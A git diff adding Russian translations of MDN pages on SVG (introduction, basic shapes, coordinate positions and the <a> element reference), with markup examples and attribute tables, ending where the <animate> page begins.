+<p>{{ PreviousNext("Web/SVG/Руководство", "Web/SVG/Руководство/Введение") }}</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/348/=SVG_Overview.png" style="float: right; height: 418px; width: 235px;"><a href="/en-US/SVG" title="en-US/SVG">SVG</a> это язык <a href="/en-US/XML" title="en-US/XML">XML</a> разметки, схожий с <a href="/en-US/XHTML" title="en-US/XHTML">XHTML</a>, который может использоваться для рисования векторной графики, такой как та, что показана справа. Он может быть использован для создания изображения путем указания всех необходимых линий и форм, путем модификации уже существующих растровых изображений, или путем комбинации обоих. Изображения и их компоненты также могут быть трансформированы, собраны вместе, или отфильтрованы чтобы полностью изменить их внешний вид.</p>
+
+<p>В 1999 году, после конкурса нескольких форматов, SVG был включен в <a class="external" href="http://www.w3.org" title="en-US/W3C">W3C</a>, однако полностью ратифицирован не был. SVG поддерживается всеми наиболее популярными <a class="external" href="https://caniuse.com/#search=svg" title="en-US/W3C">браузерами</a>. Недостатком использования SVG является его медленная загрузка . При этом SVG дает некоторые преимущества, такие как наличие соответствующего <a href="/en-US/docs/Web/API">DOM interface</a>, и отсутствие необходимости в стороннем расширении. Использовать данное решение или нет, часто зависит от конкретного случая применения.</p>
+
+<h3 id="Базовые_компоненты">Базовые компоненты</h3>
+
+<p>В <a href="/en-US/docs/Web/HTML">HTML</a> имеются элементы для определения заголовков, параграфов, таблиц и т.п. В SVG, с другой стороны, имеются элементы для кругов, прямоугольников, и простых и сложных кривых. Простой SVG документ состоит из корневого элемента {{ SVGElement('svg') }} и нескольких основных форм, которые вместе обеспечивают построение рисунка.  Кроме того, есть элемент {{ SVGElement('g') }}, который используется для группировки нескольких основных форм вместе.</p>
+
+<p>Начиная с этого, SVG изображение может стать сколь угодно сложным. SVG поддерживает градиенты, вращения, фильтры, анимации, взаимодействие с JavaScript, и т.п. Но все эти дополнительные возможности языка полагаются на этот относительно небольшой набор элементов, определяющих графическую область.</p>
+
+<h3 id="Before_you_start" name="Before_you_start">До начала работы</h3>
+
+<p>Существует ряд приложений для рисования, такие как <a class="external" href="http://www.inkscape.org/">Inkscape</a>, который свободный и использует SVG в качестве родного файлового формата. Однако, это руководство полагается только на надежный XML или текстовый редактор (на ваш выбор). Идея в том, чтобы обучить основам SVG тех, кто хочет понять его, и это лучше всего сделать, самостоятельно поработав с разметкой. При этом вы должны знать свою конечную цель. Не все программы просмотра SVG одинаковы, и поэтому существует высокий шанс того, что написанное для одного приложения не будет отображаться таким же образом в другом, просто потому что они поддерживают разные уровни SVG детализации или другую детализацию, которую вы используете наряду с SVG (такую как, <a href="/en-US/JavaScript" title="en-US/JavaScript">JavaScript</a> или <a href="/en-US/CSS" title="en-US/CSS">CSS</a>).</p>
+
+<p>SVG поддерживается всеми современными браузерами и даже, в некоторых случаях, паре их устаревших версий. Достаточно полную таблицу поддерживающих браузеров можно найти в <a href="http://caniuse.com/svg">Can I use</a>. Firefox поддерживает некоторый контент SVG, начиная с версии 1.5, и этот уровень поддержки растет с каждым новым выпуском.  К счастью, наряду с этим руководством, MDN может помочь разработчикам не отставать от изменений между Gecko и некоторыми другими основными реализациями.</p>
+
+<p>Перед тем как начать,  вы должны иметь основное понимание XML или другого языка разметки, такого как <abbr title="HyperText Markup Language">HTML</abbr>. Если вы не очень знакомы с XML, ниже имеются некоторые рекомендации, которые следует иметь ввиду:</p>
+
+<ul>
+ <li>Элементы и атрибуты SVG должны быть все введены в указанном регистре, поскольку XML обладает чувствительностью к регистру (в отличии от HTML).</li>
+ <li>Значения атрибутов в SVG должны быть помещены внутри кавычек, даже если они являются цифрами.</li>
+</ul>
+
+<p>SVG имеет довольно большую спецификацию. Это руководство охватывает только основы. После ознакомления с ними, тебе следует использовать <a href="/ru/docs/Web/SVG/%D0%AD%D0%BB%D0%B5%D0%BC%D0%B5%D0%BD%D1%82">Справочник SVG элементов</a> и <a href="/ru/docs/DOM/DOM_Reference#SVG_интерфейсы">SVG интерфейсы</a>,  чтобы найти что-либо еще при необходимости.</p>
+
+<h3 id="Особенности_SVG">Особенности SVG</h3>
+
+<p>Начиная с рекомендации 2003 года, самой свежей "полной" версией SVG является версия 1.1. Она построена на SVG 1.0, но содержит также больше модульности для упрощения реализации. <a href="http://www.w3.org/TR/SVG/">Второй выпуск SVG 1.1</a> стал Рекомендацией в 2011 году. "Полная" версия SVG 1.2 стала следующим главным выпуском SVG. Ей пришла на смену развивающаяся <a href="http://www.w3.org/TR/SVG2/">SVG 2.0</a>, которая сейчас усиленно разрабатывается и следует схожему с CSS 3 подходу, в котором она разделяет компоненты в несколько свободно связанных специфирований.</p>
+
+<p>Кроме полных рекомендаций SVG, рабочая группа при W3C ввела SVG Tiny и SVG Basic в 2003 году. Эти две версии нацелены главным образом на мобильные устройства. Первый, SVG Tiny, должен выдавать графические примитивы для небольших устройств с низкими возможностями. SVG Basic имеет много общего с полным SVG, но не включает те компоненты, что трудны для реализации или являются тяжелыми для воспроизведения (как анимации). В 2008, SVG Tiny 1.2 стала Рекомендацией W3C.</p>
+
+<p>Существовали планы для спецификации SVG Print, которая имела бы поддержку для множества страниц и улучшенное управление цветом. Эта работа была прекращена.</p>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial", "Web/SVG/Tutorial/Getting_Started") }}</p>
diff --git a/files/ru/web/svg/tutorial/основные_фигуры/index.html b/files/ru/web/svg/tutorial/основные_фигуры/index.html
new file mode 100644
index 0000000000..e95fd31f68
--- /dev/null
+++ b/files/ru/web/svg/tutorial/основные_фигуры/index.html
@@ -0,0 +1,144 @@
+---
+title: Основные Фигуры
+slug: Web/SVG/Tutorial/Основные_Фигуры
+tags:
+  - SVG
+  - 'SVG:Руководство'
+translation_of: Web/SVG/Tutorial/Basic_Shapes
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial/Positions", "Web/SVG/Tutorial/Paths") }}</p>
+
+<p>Существует несколько основных фигур, используемых в большинстве рисунков SVG. Назначение этих фигур вполне очевидно из их имён. Мы привели здесь некоторые атрибуты, определяющие положение и размер, но спецификация элемента, вероятно, содержит более точное и полное описание, вместе с другими свойствами, не описанными здесь. Однако, так как они используются в большинстве документов SVG, важно иметь некоторое представление о них.</p>
+
+<h2 id="Basic_shapes" name="Basic_shapes">Основные формы</h2>
+
+<p>Чтобы вставить форму, нужно создать элемент в документе. Разные элементы соответствуют разным формам и требуют разные атрибуты для описания размера и положения этих форм. Некоторые немного громоздки, поскольку могут быть созданы другими формами, но для удобства они все здесь приведены и способствуют сохранению документов SVG настолько короткими и читаемыми, насколько это возможно. Все основные формы показаны на изображении справа. Код для генерации выглядит как-то так:</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/359/=Shapes.png" style="float: right;"></p>
+
+<pre class="brush:xml">&lt;?xml version="1.0" standalone="no"?&gt;
+&lt;svg width="200" height="250" version="1.1" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;rect x="10" y="10" width="30" height="30" stroke="black" fill="transparent" stroke-width="5"/&gt;
+  &lt;rect x="60" y="10" rx="10" ry="10" width="30" height="30" stroke="black" fill="transparent" stroke-width="5"/&gt;
+
+  &lt;circle cx="25" cy="75" r="20" stroke="red" fill="transparent" stroke-width="5"/&gt;
+  &lt;ellipse cx="75" cy="75" rx="20" ry="5" stroke="red" fill="transparent" stroke-width="5"/&gt;
+
+  &lt;line x1="10" x2="50" y1="110" y2="150" stroke="orange" fill="transparent" stroke-width="5"/&gt;
+  &lt;polyline points="60 110 65 120 70 115 75 130 80 125 85 140 90 135 95 150 100 145"
+      stroke="orange" fill="transparent" stroke-width="5"/&gt;
+
+  &lt;polygon points="50 160 55 180 70 180 60 190 65 205 50 195 35 205 40 190 30 180 45 180"
+      stroke="green" fill="transparent" stroke-width="5"/&gt;
+
+  &lt;path d="M20,230 Q40,205 50,230 T90,230" fill="none" stroke="blue" stroke-width="5"/&gt;
+&lt;/svg&gt;</pre>
+
+<div class="note"><strong>Замечание:</strong> Атрибуты <code>stroke</code>, <code>stroke-width</code> и <code>fill</code> описываются в рукодстве далее.</div>
+
+<h3 id="Rectangles" name="Rectangles">Прямоугольники</h3>
+
+<p>Элемент <a href="/en-US/Web/SVG/Element/rect" title="en-US/Web/SVG/Element/rect">rect</a> делает как раз то, что вы и ожидаете, то есть рисует прямоугольник на экране. Существуют только 6 основных атрибутов, которые контролируют положение и форму прямоугольника на экране. Ранее показанное изображение отображает два элемента rect, которые выглядят немного лишними. Один справа имеет набор атрибутов rx и ry, которые отвечают за округлые углы. Если этого набора нет, то по умолчанию они принимаются равными 0.</p>
+
+<pre class="brush:xml">&lt;rect x="10" y="10" width="30" height="30"/&gt;
+&lt;rect x="60" y="10" rx="10" ry="10" width="30" height="30"/&gt;</pre>
+
+<dl>
+ <dt>x</dt>
+ <dd>Положение x верхнего левого угла прямоугольника.</dd>
+ <dt>y</dt>
+ <dd>Положение y верхнего левого угла прямоугольника.</dd>
+ <dt>width</dt>
+ <dd>Ширина прямоугольника</dd>
+ <dt>height</dt>
+ <dd>Высота прямоугольника</dd>
+ <dt>rx</dt>
+ <dd>Радиус x углов прямоугольника</dd>
+ <dt>ry</dt>
+ <dd>Радиус y углов прямоугольника</dd>
+</dl>
+
+<h3 id="Circle" name="Circle">Окружность</h3>
+
+<p>Как вы могли предположить, элемент <a href="/en-US/Web/SVG/Element/circle" title="en-US/Web/SVG/Element/circle">circle</a> рисует окружность на экране. Существует 3 атрибута для описания этого элемента.</p>
+
+<pre class="brush:xml;gutter:false;">&lt;circle cx="25" cy="75" r="20"/&gt;</pre>
+
+<dl>
+ <dt>r</dt>
+ <dd>Радиус окружности.</dd>
+ <dt>cx</dt>
+ <dd>Положение x центра окружности.</dd>
+ <dt>cy</dt>
+ <dd>Положение y центра окружности.</dd>
+</dl>
+
+<h3 id="Ellipse" name="Ellipse">Эллипс</h3>
+
+<p><a href="/en-US/Web/SVG/Element/ellipse" title="en-US/Web/SVG/Element/ellipse">Ellipse</a> - это наиболее общая форма элемента окружность, в котором можно маштабировать радиусы x и y (обычно называемые математиками половиной большой оси и половиной малой оси) окружности по отдельности.</p>
+
+<pre class="brush:xml;gutter:false;">&lt;ellipse cx="75" cy="75" rx="20" ry="5"/&gt;</pre>
+
+<dl>
+ <dt>rx</dt>
+ <dd>Радиус x эллипса.</dd>
+ <dt>ry</dt>
+ <dd>Радиус y эллипса.</dd>
+ <dt>cx</dt>
+ <dd>Положение x центра эллипса.</dd>
+ <dt>cy</dt>
+ <dd>Положение y центра эллипса.</dd>
+</dl>
+
+<h3 id="Line" name="Line">Линия</h3>
+
+<p><a href="/en-US/Web/SVG/Element/line" title="en-US/Web/SVG/Element/line">Line</a> изображает простую прямую линию. Её атрибутами являются две точки, которые определяют начальную и конечне точки линии.</p>
+
+<pre class="brush:xml;gutter:false;">&lt;line x1="10" x2="50" y1="110" y2="150"/&gt;</pre>
+
+<dl>
+ <dt>x1</dt>
+ <dd>Положение x точки 1.</dd>
+ <dt>y1</dt>
+ <dd>Положение y точки 1.</dd>
+ <dt>x2</dt>
+ <dd>Положение x точки 2.</dd>
+ <dt>y2</dt>
+ <dd>Положение y точки 2.</dd>
+</dl>
+
+<h3 id="Polyline" name="Polyline">Ломаная линия</h3>
+
+<p>Элемент <a href="/en-US/Web/SVG/Element/polyline" title="en-US/Web/SVG/Element/polyline">polyline</a> воспроизводит группу соединенных прямых линий. Поскольку этот список может быть довольно длинным, все точки включены в один атрибут:</p>
+
+<pre class="brush:xml;gutter:false;">&lt;polyline points="60 110, 65 120, 70 115, 75 130, 80 125, 85 140, 90 135, 95 150, 100 145"/&gt;</pre>
+
+<dl>
+ <dt>точки</dt>
+ <dd>Список точек, каждая разделённая пробелом, запятой,  <abbr title="Конец строки (англ. End of line)">EOL</abbr>, или символом перевода строки. Каждая точка должна содержать два числа, координату x и координату y. Поэтому список (0,0), (1,1) и (2,2) может быть записан: "0 0, 1 1, 2 2".</dd>
+</dl>
+
+<h3 id="Polygon" name="Polygon">Многоугольник</h3>
+
+<p>Элемент <a href="/en-US/Web/SVG/Element/polygon" title="en-US/Web/SVG/Element/polygon">polygon</a> очень похож на элемент polyline в том, что они образованы сегментами прямых линий, соединяющими список точек. Но для многоугольников путь автоматически возвращается к первой точке в конце, создавая тем самым замкнутую форму. Следует отметить, что прямоугольник является частным случаем многоугольника, поэтому polygon можно использовать для создания элемента <code>&lt;rect/&gt;</code> в случаях, когда необходимо большая гибкость.</p>
+
+<pre class="brush:xml;gutter:false;">&lt;polygon points="50 160, 55 180, 70 180, 60 190, 65 205, 50 195, 35 205, 40 190, 30 180, 45 180"/&gt;</pre>
+
+<dl>
+ <dt>точки</dt>
+ <dd>Список точек, каждая разделённая пробелом, запятой,  <abbr title="Конец строки (англ. End of line)">EOL</abbr>, или символом перевода строки. Каждая точка должна содержать два числа, координату x и координату y. Поэтому список (0,0), (1,1) и (2,2) может быть записан как: "0 0, 1 1, 2 2". Полигон замыкается финальной прямой линией от (2,2) до (0,0).</dd>
+</dl>
+
+<h3 id="Path" name="Path">Путь</h3>
+
+<p><a href="/en-US/Web/SVG/Element/path" title="en-US/Web/SVG/Element/path">Path</a>, вероятно, наиболее общая форма, которую можно использовать в SVG. Используя элемент path вы можете рисовать прямоугольники (с закругленными углами или без), окружности, эллипсы, ломанные линии и многоугольники; и по существу любые другие типы форм: кривые Безье, квадратические кривые и многое другое. По этой причине элемент path будет рассмотрен отдельно <a href="/en-US/Web/SVG/Tutorial/Paths" title="en-US/Web/SVG/Tutorial/Paths">в следующей секции</a> этого руководства, но сейчас отметим только, что существует единственный атрибут для контроля его формы.</p>
+
+<pre class="brush:xml;gutter:false;">&lt;path d="M 20 230 Q 40 205, 50 230 T 90230"/&gt;</pre>
+
+<dl>
+ <dt>d</dt>
+ <dd>Список точек и другой информации о том, как рисовать путь. Для подробной информации смотри секцию <a href="/en-US/Web/SVG/Tutorial/Paths" title="en-US/Web/SVG/Tutorial/Paths">Пути</a>.</dd>
+</dl>
+
+<div>{{ PreviousNext("Web/SVG/Tutorial/Positions", "Web/SVG/Tutorial/Paths") }}</div>
diff --git a/files/ru/web/svg/tutorial/позиции/index.html b/files/ru/web/svg/tutorial/позиции/index.html
new file mode 100644
index 0000000000..7a660c2d0f
--- /dev/null
+++ b/files/ru/web/svg/tutorial/позиции/index.html
@@ -0,0 +1,48 @@
+---
+title: Расположение (позиции)
+slug: Web/SVG/Tutorial/Позиции
+tags:
+  - SVG
+  - 'SVG:Руководство'
+translation_of: Web/SVG/Tutorial/Positions
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial/Getting_Started", "Web/SVG/Tutorial/Basic_Shapes") }}</p>
+
+<h2 id="The_grid" name="The_grid">Сетка</h2>
+
+<p><img alt="" class="internal" src="/@api/deki/files/78/=Canvas_default_grid.png" style="float: right;">SVG для всех элементов использует систему координат или сеточную систему, схожую с той, что используется <a href="/en/HTML/Canvas" title="en/HTML/Canvas">canvas</a> (и множеством других стандартных компьютерных программ для рисования). Здесь верхний левый угол документа принимается за точку (0,0). Затем позиции измеряются в пикселях от верхнего левого угла с положительным направлением x, уходящим вправо, и положительным направлением y, уходящим вниз. Заметьте, что это направление противоположно тому, к которому мы привыкли с детства. Однако, именно этим способом располагаются элементы HTML.</p>
+
+<h4 id="Пример">Пример:</h4>
+
+<p>Элемент</p>
+
+<pre>&lt;rect x="0" y="0" width="100" height="100" /&gt;
+</pre>
+
+<p>определяет прямоугольник от верхнего левого угла, который простирается оттуда на 100px вправо и вниз.</p>
+
+<h3 id="Что_такое_пиксели">Что такое "пиксели"?</h3>
+
+<p>В наиболее общем случае один пиксель в документе SVG отображает один пиксель в устройстве вывода (a.k.a. экран). Но SVG формат не назывался бы "Маcштабируемым" (от англ. scalable), если не было бы некоторых возможностей изменить такое поведение. Большинство как абсолютных, так и относительных размеров шрифтов в CSS, SVG определяет абсолютными единицами (с размерными обозначениями "pt" или "cm") и, так называемыми, пользовательскими единицами без идентификаторов, являющиеся простыми цифрами.</p>
+
+<p>Без дополнительного уточнения, одна пользовательская единица равна одной единице экрана. Чтобы явно изменить такое поведение, в SVG существуют некоторые возможности. Мы начинаем с корневого элемента <code>svg</code>:</p>
+
+<pre>&lt;svg width="100" height="100"&gt;
+</pre>
+
+<p>Вышеупомянутый элемент определяет простое полотно SVG размером 100x100px. Одна пользовательская единица равна одной единице экрана.</p>
+
+<pre>&lt;svg width="200" height="200" <strong>viewBox="0 0 100 100"</strong>&gt;
+</pre>
+
+<p>Всё полотно SVG здесь имеет размер 200px на 200px. Однако, атрибут <code>viewBox определяет часть этого полотна, которая будет отображаться</code>. Эти 200x200 пикселей показывают область, которая начинается на пользовательской единице (0,0) и простирается на 100x100 пользовательских единиц вправо и вниз. Эффективное изменение масштаба в области 100x100 единиц увеличивает изображение до двойного размера.</p>
+
+<p>Текущее отображение (для единичного элемента или всего изображения) пользовательских единиц в экранные единицы называется <strong>системой пользовательских координат</strong>. Помимо масштабирования, систему координат можно также вращать, смещать и переворачивать. Система пользовательских координат по умолчанию отображает один пользовательский пиксель на один пиксель устройства. (При этом, устройство может решать, что понимать под одним пикселем.) Длины в файле SVG с особенными расширениями, такими как "in" или "cm" затем вычисляются таким образом, чтобы выразить их как 1:1 в финальном изображении.</p>
+
+<p>Цитата из SVG 1.1 специфирования иллюстрирует это:</p>
+
+<blockquote>
+<p>[...] предположим, что агент пользователя может определить из его окружения, что "1px" соответствует "0.2822222мм" (т.е., 90dpi). Тогда для всего обрабатываемого контента SVG: [...] "1см" равен "35.43307px" (и следовательно 35,43307 пользовательских единиц)</p>
+</blockquote>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial/Getting_Started", "Web/SVG/Tutorial/Basic_Shapes") }}</p>
diff --git a/files/ru/web/svg/элемент/a/index.html b/files/ru/web/svg/элемент/a/index.html
new file mode 100644
index 0000000000..97c2daf793
--- /dev/null
+++ b/files/ru/web/svg/элемент/a/index.html
@@ -0,0 +1,151 @@
+---
+title: a
+slug: Web/SVG/Элемент/a
+tags:
+  - SVG
+translation_of: Web/SVG/Element/a
+---
+<div>{{SVGRef}}</div>
+
+<p>SVG элемент <strong>&lt;a&gt;</strong> создаёт гиперссылку на другие веб-страницы, файлы, позиции в этом же документе, email-адреса или другие URL. Очень похож на элемент HTML {{htmlelement("a")}}.</p>
+
+<p>Элемент <code>&lt;a&gt;</code> является контейнером. Это означает, что вы можете обернуть текст в ссылку (как в HTML). Таким же образом можно обернуть фигуру.</p>
+
+<div id="Exemple">
+<div class="hidden">
+<pre class="brush: css">@namespace svg url(http://www.w3.org/2000/svg);
+html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;!-- Ссылка в фигуре --&gt;
+  &lt;a href="/docs/Web/SVG/Element/circle"&gt;
+    &lt;circle cx="50" cy="40" r="35"/&gt;
+  &lt;/a&gt;
+
+  &lt;!-- Ссылка в тексте --&gt;
+  &lt;a href="/docs/Web/SVG/Element/text"&gt;
+    &lt;text x="50" y="90" text-anchor="middle"&gt;
+      &amp;lt;circle&amp;gt;
+    &lt;/text&gt;
+  &lt;/a&gt;
+&lt;/svg&gt;</pre>
+
+<pre class="brush: js">/* Так как SVG не предоставляет визуальных стилей по-умолчанию для ссылок,
+   будет лучше задать самостоятельно */
+
+@namespace svg url(http://www.w3.org/2000/svg);
+/* Необходимо выделить только SVG элементы &lt;a&gt;, но не HTML.
+   Смотрите предупреждение ниже */
+
+svg|a:link, svg|a:visited {
+  cursor: pointer;
+}
+
+svg|a text,
+text svg|a {
+  fill: blue; /* Даже для текста SVG использует заливку */
+  text-decoration: underline;
+}
+
+svg|a:hover, svg|a:active {
+  outline: dotted 1px blue;
+}</pre>
+
+<p>{{EmbedLiveSample('Exemple', 100, 100)}}</p>
+
+<div class="blockIndicator warning">
+<p>Поскольку этот элемент разделяет своё имя с <a href="/ru/docs/Web/HTML/Element/A">элементом HTML <code>&lt;a&gt;</code></a>, выбор <code>a</code> через CSS или <a href="/ru/docs/Web/API/Document/querySelector"><code>querySelector</code></a> может выбрать не тот тип элемента. Попробуйте <a href="/ru/docs/Web/CSS/@namespace">правило <code>@namespace</code></a>, чтобы разделять их.</p>
+</div>
+</div>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<dl>
+ <dt>{{htmlattrxref("download", "a")}} {{experimental_inline}}</dt>
+ <dd>Указывает браузеру выполнить загрузку по {{Glossary("URL")}}, вместо того, чтобы переходить по нему. Таким образом пользователю будет предложено сохранить файл локально.<br>
+ <small><em>Тип</em>: <strong>&lt;string&gt;</strong> ;<em>Значение по-умолчанию</em>: <em>none</em>;<em>Анимируем</em>: <strong>нет</strong></small></dd>
+ <dt>{{SVGAttr("href")}}</dt>
+ <dd>{{Glossary("URL")}} или фрагмент URL для перехода.<br>
+ <small><em>Тип</em>: <strong><a href="https://wiki.developer.mozilla.org/docs/Web/SVG/Content_type#URL">&lt;URL&gt;</a></strong> ; <em>Значение по-умолчанию</em>: <em>none</em>; <em>Анимируем</em>: <strong>да</strong></small></dd>
+ <dt>{{htmlattrxref("hreflang", "a")}}</dt>
+ <dd>URL на человеческом языке или фрагмент URL для перехода.<br>
+ <small><em>Тип</em>: <strong>&lt;string&gt;</strong>; <em>Значение по-умолчанию</em>: <em>none</em>; <em>Анимируем</em>: <strong>да</strong></small></dd>
+ <dt>{{htmlattrxref("ping", "a")}} {{experimental_inline}}</dt>
+ <dd>Разделённый пробелами список URL при переходе по которым браузер будет отправлять <code><a href="/ru/docs/Web/HTTP/Methods/POST">POST</a></code> запросы с телом <code>PING</code> (в фоне). Обычно используется для трекинга.<br>
+ <small><em>Тип</em>: <strong><a href="https://wiki.developer.mozilla.org/docs/Web/SVG/Content_type#List-of-Ts">&lt;list-of-URLs&gt;</a></strong>; <em>Значение по-умолчанию</em>: <em>none</em>; <em>Анимируем</em>: <strong>нет</strong></small></dd>
+ <dt>{{htmlattrxref("referrerpolicy", "a")}} {{experimental_inline}}</dt>
+ <dd>Какой <a href="/ru/docs/Web/HTTP/Заголовки/Referer">referrer</a> отправить при получении {{Glossary("URL")}}.<br>
+ <small><em>Тип</em>: <code>no-referrer</code>|<code>no-referrer-when-downgrade</code>|<code>same-origin</code>|<code>origin</code>|<code>strict-origin</code>|<code>origin-when-cross-origin</code>|<code>strict-origin-when-cross-origin</code>|<code>unsafe-url</code> ; <em>Значение по-умолчанию</em>: <em>none</em>; <em>Анимируем</em>: <strong>нет</strong></small></dd>
+ <dt>{{htmlattrxref("rel", "a")}} {{experimental_inline}}</dt>
+ <dd>Отношение между целевым объектом и объектом link.<br>
+ <small><em>Тип</em>: <strong><a href="https://wiki.developer.mozilla.org/docs/Web/HTML/Link_types">&lt;list-of-Link-Types&gt;</a></strong> ; <em>Значение по-умолчанию</em>: <em>none</em>; <em>Анимируем</em>: <strong>да</strong></small></dd>
+ <dt>{{SVGAttr("target")}}</dt>
+ <dd>Где отобразить переход {{Glossary("URL")}}.<br>
+ <small><em>Тип</em>: <code>_self</code>|<code>_parent</code>|<code>_top</code>|<code>_blank</code>|<strong>&lt;name&gt;</strong> ; <em>Значение по-умолчанию</em>: <code>_self</code>; <em>Анимируем</em>: <strong>да</strong></small></dd>
+ <dt>{{htmlattrxref("type", "a")}}</dt>
+ <dd>{{Glossary("MIME type")}} для ссылки URL.<br>
+ <small><em>Тип</em>: <strong>&lt;string&gt;</strong> ; <em>Значение по-умолчанию</em>: <em>none</em>; <em>Анимируем</em>: <strong>да</strong></small></dd>
+ <dt>{{SVGAttr("xlink:href")}} {{deprecated_inline("SVG2")}}</dt>
+ <dd>URL или фрагмент URL, на который указывает гиперссылка. Может понадобиться для обратной совместимости со старыми браузерами.<br>
+ <small><em>Тип</em>: <strong><a href="https://wiki.developer.mozilla.org/docs/Web/SVG/Content_type#URL">&lt;URL&gt;</a></strong> ; <em>Значение по-умолчанию</em>: <em>none</em>; <em>Анимируем</em>: <strong>да</strong></small></dd>
+</dl>
+
+<h3 id="Глобальные_аттрибуты">Глобальные аттрибуты</h3>
+
+<dl>
+ <dt><a href="https://wiki.developer.mozilla.org/docs/Web/SVG/Attribute/Core">Core Attributes</a></dt>
+ <dd><small>Наиболее используемые: {{SVGAttr('id')}}, {{SVGAttr('lang')}}, {{SVGAttr('tabindex')}}</small></dd>
+ <dt><a href="https://wiki.developer.mozilla.org/docs/Web/SVG/Attribute/Styling">Styling Attributes</a></dt>
+ <dd><small>{{SVGAttr('class')}}, {{SVGAttr('style')}}</small></dd>
+ <dt><a href="https://wiki.developer.mozilla.org/docs/Web/SVG/Attribute/Conditional_Processing">Conditional Processing Attributes</a></dt>
+ <dd><small>Наиболее используемые: {{SVGAttr('requiredExtensions')}}, {{SVGAttr('systemLanguage')}}</small></dd>
+ <dt>Event Attributes</dt>
+ <dd><small><a href="https://wiki.developer.mozilla.org/docs/Web/SVG/Attribute/Events#Global_Event_Attributes">Global event attributes</a>, <a href="https://wiki.developer.mozilla.org/docs/Web/SVG/Attribute/Events#Document_Element_Event_Attributes">Document element event attributes</a>, <a href="https://wiki.developer.mozilla.org/docs/Web/SVG/Attribute/Events#Graphical_Event_Attributes">Graphical event attributes</a></small></dd>
+ <dt><a href="https://wiki.developer.mozilla.org/docs/Web/SVG/Attribute/Presentation">Presentation Attributes</a></dt>
+ <dd><small>Наиболее используемые: {{SVGAttr('clip-path')}}, {{SVGAttr('clip-rule')}}, {{SVGAttr('color')}}, {{SVGAttr('color-interpolation')}}, {{SVGAttr('color-rendering')}}, {{SVGAttr('cursor')}}, {{SVGAttr('display')}}, {{SVGAttr('fill')}}, {{SVGAttr('fill-opacity')}}, {{SVGAttr('fill-rule')}}, {{SVGAttr('filter')}}, {{SVGAttr('mask')}}, {{SVGAttr('opacity')}}, {{SVGAttr('pointer-events')}}, {{SVGAttr('shape-rendering')}}, {{SVGAttr('stroke')}}, {{SVGAttr('stroke-dasharray')}}, {{SVGAttr('stroke-dashoffset')}}, {{SVGAttr('stroke-linecap')}}, {{SVGAttr('stroke-linejoin')}}, {{SVGAttr('stroke-miterlimit')}}, {{SVGAttr('stroke-opacity')}}, {{SVGAttr('stroke-width')}}, {{SVGAttr("transform")}}, {{SVGAttr('vector-effect')}}, {{SVGAttr('visibility')}}</small></dd>
+ <dt>XLink Attributes</dt>
+ <dd><small>Наиболее используемые: {{SVGAttr("xlink:title")}}</small></dd>
+ <dt>ARIA Attributes</dt>
+ <dd><small><code>aria-activedescendant</code>, <code>aria-atomic</code>, <code>aria-autocomplete</code>, <code>aria-busy</code>, <code>aria-checked</code>, <code>aria-colcount</code>, <code>aria-colindex</code>, <code>aria-colspan</code>, <code>aria-controls</code>, <code>aria-current</code>, <code>aria-describedby</code>, <code>aria-details</code>, <code>aria-disabled</code>, <code>aria-dropeffect</code>, <code>aria-errormessage</code>, <code>aria-expanded</code>, <code>aria-flowto</code>, <code>aria-grabbed</code>, <code>aria-haspopup</code>, <code>aria-hidden</code>, <code>aria-invalid</code>, <code>aria-keyshortcuts</code>, <code>aria-label</code>, <code>aria-labelledby</code>, <code>aria-level</code>, <code>aria-live</code>, <code>aria-modal</code>, <code>aria-multiline</code>, <code>aria-multiselectable</code>, <code>aria-orientation</code>, <code>aria-owns</code>, <code>aria-placeholder</code>, <code>aria-posinset</code>, <code>aria-pressed</code>, <code>aria-readonly</code>, <code>aria-relevant</code>, <code>aria-required</code>, <code>aria-roledescription</code>, <code>aria-rowcount</code>, <code>aria-rowindex</code>, <code>aria-rowspan</code>, <code>aria-selected</code>, <code>aria-setsize</code>, <code>aria-sort</code>, <code>aria-valuemax</code>, <code>aria-valuemin</code>, <code>aria-valuenow</code>, <code>aria-valuetext</code>, <code>role</code></small></dd>
+</dl>
+
+<h2 id="Интерфейс_DOM">Интерфейс DOM</h2>
+
+<p>Этот элемент реализует интерфейс <code><a href="/ru/docs/DOM/SVGAElement" title="DOM/SVGAElement">SVGAElement</a></code>.</p>
+
+<h2 id="Примечания_к_использованию">Примечания к использованию</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "linking.html#Links", "&lt;a&gt;")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Аттрибут {{SVGAttr("xlink:href")}} заменён на {{SVGAttr("href")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "linking.html#Links", "&lt;a&gt;")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("svg.elements.a")}}</p>
diff --git a/files/ru/web/svg/элемент/animate/index.html b/files/ru/web/svg/элемент/animate/index.html
new file mode 100644
index 0000000000..90988b58f8
--- /dev/null
+++ b/files/ru/web/svg/элемент/animate/index.html
@@ -0,0 +1,81 @@
+---
+title: <animate>
+slug: Web/SVG/Элемент/animate
+tags:
+  - NeedsUpdate
+  - SVG
+  - SVG Animation
+  - svg анимация
+translation_of: Web/SVG/Element/animate
+---
+<div>{{SVGRef}}</div>
+
